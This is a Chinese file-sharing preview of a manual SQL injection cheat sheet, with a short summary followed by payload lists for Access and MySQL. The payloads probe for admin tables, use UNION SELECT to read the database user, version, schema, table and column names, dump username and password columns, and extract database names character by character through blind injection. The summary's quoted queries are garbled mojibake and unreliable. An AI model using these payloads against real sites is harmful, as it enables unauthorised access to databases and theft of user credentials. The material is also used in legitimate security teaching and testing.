"本文档详细介绍了SQL手工注入攻击的相关知识,包括如何判断注入点、查询数据库内容的方法。主要涉及的标签有手工注入、SQL注入、SQL盲注以及注入语句。文档内容展示了针对不同数据库(如ACCESS和MySQL)的查询示例,用于获取管理员信息、数据库名称、版本信息以及表名等。" SQL注入是一种常见的网络安全漏洞,攻击者通过在输入字段中插入恶意的SQL代码,绕过应用程序的安全控制,从而获取或修改数据库中的敏感信息。在本文档中,重点讲解了手工注入的步骤和技巧。 首先,文档中提到了如何判断SQL注入点。例如,通过构造像"ACCESSֹעѯǷadminandexists(select*fromadmin)"这样的查询,尝试判断是否存在管理员账号。如果服务器返回的结果与预期相符,就可能表明存在注入点。 接下来,文档演示了如何利用注入点查询数据库内容。针对用户名和密码字段,可以分别使用如"ǷusernameУandexists(selectusernamefromadmin)"和"ǷpasswordУandexists(selectpasswordfromadmin)"的语句来尝试获取这些信息。这里使用了`EXISTS`子句结合`SELECT`查询特定列,来检查某个条件是否满足。 当确认了注入点并能查询单个字段后,可以进一步尝试获取整个列的信息。例如,对于ACCESS数据库,可以使用带有`UNION SELECT`的查询,如"²гȣorderbyN",来合并查询结果。而在MySQL中,类似的操作是"and1=2unionselect1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28",以获取更多的列内容。 文档还展示了如何利用注入获取特定信息,如当前用户、数据库名称、数据库版本以及数据库中的表名。例如,可以使用`USER()`函数获取当前用户,`DATABASE()`获取数据库名,`VERSION()`获取MySQL版本,以及`GROUP_CONCAT`函数结合`INFORMATION_SCHEMA.SCHEMATA`获取所有模式的名称。 最后,文档中的"UNION SELECT"语句用于合并两个查询的结果,这通常用于显示多个列或从不同的表中获取数据。通过改变查询的结构和参数,攻击者可以执行更复杂的操作,如读取、修改或删除数据库中的数据。 这份文档提供了丰富的SQL手工注入实例,帮助读者理解这种攻击方式的工作原理,并了解如何防止此类攻击。为了保护系统安全,开发者应确保对用户输入进行充分的验证和过滤,避免SQL注入的发生。
查询是否存在admin表:and exists (select * from admin)
是否存在username列: and exists (select username from admin)
是否存在password列: and exists (select password from admin)
猜测列长度: order by N
猜测字段位置: union select 1,2,3,4,5,6,7,8,9,10,11,12,13 from admin
猜测username字段位置内容: union select 1,username,3,4,5,6,7,8,9,10,11,12,13 from admin
猜测password字段位置内容: union select 1,username,password,4,5,6,7,8,9,10,11,12,13 from admin
MySQL手工注入
联合查询字段长度:and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
查看数据库信息:
查看当前用户:and 1=2 union select 1,2,3,4,user(),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
查看当前数据库:and 1=2 union select 1,2,3,4, database(),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
查看mysql版本:and 1=2 union select 1,2,3,4, version(),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
查看当前mysql所有库名称:and 1=2 union select 1,2,3,4,group_concat(convert (SCHEMA_NAME using latin1)),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from information_schema.SCHEMATA
查看数据库表:and 1=2 union select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database()
查看users表内容:and 1=2 union select 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_name=0x7573657273
猜测字段内容(脱裤):and 1=2 union select 1,group_concat(username,password),3,4,5,6 from users
SQL盲注
判断数据库名称长度: 1' and length(database())=4 #
数字是ASCII码对照表
查询数据库第一位: 1' and ascii(substr(database(),1,1))=100 #
查询数据库第二位: 1' and ascii(substr(database(),2,1))=118 #
查询数据库第三位:1' and ascii(substr(database(),3,1))=119 #
查询数据库第四位:1' and ascii(substr(database(),4,1))=97 #
下载后可阅读完整内容,剩余2页未读,立即下载
- 粉丝: 0
- 资源: 2
- 我的内容管理 展开
- 我的资源 快来上传第一个资源
- 我的收益 登录查看自己的收益
- 我的积分 登录查看自己的积分
- 我的C币 登录后查看C币余额
- 我的收藏
- 我的下载
- 下载帮助
最新资源
- C++标准程序库:权威指南
- Java解惑:奇数判断误区与改进方法
- C++编程必读:20种设计模式详解与实战
- LM3S8962微控制器数据手册
- 51单片机C语言实战教程:从入门到精通
- Spring3.0权威指南:JavaEE6实战
- Win32多线程程序设计详解
- Lucene2.9.1开发全攻略:从环境配置到索引创建
- 内存虚拟硬盘技术:提升电脑速度的秘密武器
- Java操作数据库:保存与显示图片到数据库及页面
- ISO14001:2004环境管理体系要求详解
- ShopExV4.8二次开发详解
- 企业形象与产品推广一站式网站建设技术方案揭秘
- Shopex二次开发:触发器与控制器重定向技术详解
- FPGA开发实战指南:创新设计与进阶技巧
- ShopExV4.8二次开发入门:解决升级问题与功能扩展